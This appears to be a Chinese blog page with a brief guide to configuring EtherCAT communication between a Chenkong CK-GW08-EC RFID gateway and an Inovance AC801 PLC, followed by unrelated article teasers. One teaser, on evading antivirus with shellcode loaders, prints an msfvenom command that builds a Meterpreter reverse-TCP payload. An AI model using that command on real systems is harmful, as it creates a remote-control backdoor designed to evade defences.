晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口，用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对独立的读写操作。
本期围绕着晨控CK-GW08-EC通过EtherCAT协议与汇川AC801系列PLC通讯组态问题：
0、准备阶段
软件：InoProShop(V1.7.3)
PLC：AC801
RFID读卡器：晨控CK-GW08-EC
1、新建程序
2、在网络组态中开启Ethercat主站功能
3、点击导入ECT文件，导入完成后在右边网络设备列表中选择添加导入的设备，
4、添加后，右边打开添加的识别，点击EtherCAT I/O映射查看映射的输出输入的IO首点是多少。
5、根据输入输出的IO首地址在全局变量中映射成数组方便使用。最后点击在线将组态下载到PLC中即可连接完成。
注：网关有八个通道，需要将数组分成输入输出各分成8个，每个通道占用20个字节，对应的分配IO根据通道顺序来分配。
相关文章：
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册 晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口，用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对…...
向上or向下调整建堆 的时间复杂度的本质区别的讲解
知识点：（N代表节点数，h代表高度） 1：高度为h的满二叉树节点个数N为 2^（h）-1 即N 2^（h）-1 2：所以h log（N1） 一：向上…...
阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染
所需知识 要解决这个实验室问题，您需要了解以下内容： 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...
[游戏开发] LuaTable转string存读二进制文件
UE5和Unity通用此方案，只不过读写文件的接口略有不同，lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...
光伏业务管理系统的一些妙用功能
现在信息化流程化基本上每个行业都必须要有的了，光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统，它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识，为光伏企业提供了一个全面、高效、智能的管理平台&…...
Java面试八股之请简述消息队列的发布订阅模式
请简述消息队列的发布订阅模式 发布订阅（Publish-Subscribe，简称 Pub/Sub）模型是一种消息传递模式，它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...
七、2 ADC数模转换器有关函数介绍（Keil5）
函数介绍 （1）ADCCLK的配置函数（在rcc.h中） （2）ADC的库函数（在adc.h中）...
了解载波侦听多路访问CSMA（上）
1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access，在笔者的理解中，其更趋向于一种理论研究的随机接入协议，或者说，基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种： 1-persistent…...
开启教育新征程：“集师” 知识付费平台搭建
在教育培训行业竞争日益激烈的今天，如何脱颖而出，实现知识的最大价值？答案就在 “集师” 知识付费平台搭建！ “集师” 为您打造专属的知识付费平台，提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...
Vue3 + Electron 创建新的子窗口 且子窗口唯一
main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...
海康VisionMaster使用学习笔记2-相机取图及参数设置
相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...
【网络】【Linux】Linux内核中连接的组织形式与全连接队列
Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列？3.2全连接队列的长度 1.前言 TCP是面向连接的，TCP的各种可靠性机制实际都不…...
记录一次 npm ERR! cb() never called! 解决过程
gitlab cicd过程，使用docker部署Vue3前端项目，报错如下： 针对 npm ERR! cb() never called! 这个报错，网上有很多解决方案，大都是清空缓存，重新运行npm 之类的。笔者全都试过，无法解决问题。笔者…...
WEB渗透免杀篇-加载器免杀
SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...
什么是反人性设计？
目录 一、什么是人性？ 二、什么是反人性设计？ 三、有哪些反人性设计？ 一、什么是人性？ 人性，通常指的是人类共有的基本特质和行为倾向，它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...
如何进行长截图的两种方法
前言 本文主要讲2种截图方式，分别是谷歌和QQ。 谷歌分为Web端 和 移动端，选一种即可。 第一种：谷歌浏览器控制台自带的 1.先把控制台语言更改为中文，方便查看 ①.按F12，点击设置面板 ②.修改语言为中文并关闭 ③.点击…...
基于轨迹的汽车跟随系统横向控制方法
A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...
2024年8月15日嵌入式学习
今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程，当一个线程收到取消的申请时，他不会立即停止，而是在下一个取消点处结束运行，取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...
C++引用和指针的区别还分不清楚？
不像其他语言，c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌，给你画个表格协助判断。 总体上，我们可以总结为以下五个区别： 一、定义方式： 指针通过使用 * 来定义，例如࿱…...
【Cesium开发实战】相机捕捉功能，获取当前视图，设定分辨率可下载当前视图图片
Cesium有很多很强大的功能，可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能，支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说，先展示 相机快照 2.设计思路 根据项目需求要求，点击快照捕捉按钮可截取当前视角视图为缩略图，并弹框可输入视…...
理解 MCP 工作流：使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP？ 模型控制协议 (MCP) 是一种创新的协议，旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议，它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署，直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型，但是目前国内可能使用不多，至少实践例子很少看见。开发训练模型就不介绍了&am…...
QT： `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中，将 long long 类型转换为 QString 可以通过以下两种常用方法实现： 方法 1：使用 QString::number() 直接调用 QString 的静态方法 number()，将数值转换为字符串： long long value 1234567890123456789LL; …...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量，这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
听写流程自动化实践，轻量级教育辅助
随着智能教育工具的发展，越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式，也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建，…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变（硬件篇）
本项目是基于 STM32F103C8T6 微控制器的 SPWM（正弦脉宽调制）电源模块，能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路，图中 D1 为二极管， 其目的是防止正负极电源反接， …...
深入浅出深度学习基础：从感知机到全连接神经网络的核心原理与应用
文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么？1.1.2 感知机的工作原理 1.2 感知机的简单应用：基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...
C#学习第29天：表达式树（Expression Trees）
目录 什么是表达式树？ 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持： 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
C++ 设计模式 《小明的奶茶加料风波》
👨🎓 模式名称：装饰器模式（Decorator Pattern） 👦 小明最近上线了校园奶茶配送功能，业务火爆，大家都在加料： 有的同学要加波霸 🟤，有的要加椰果…...
实战三：开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用，用户可以通过网页界面上传黑白视频，系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观，不需要了解技术细节。 效果图 二、实现思路 总体思路： 用户通过Gradio界面上…...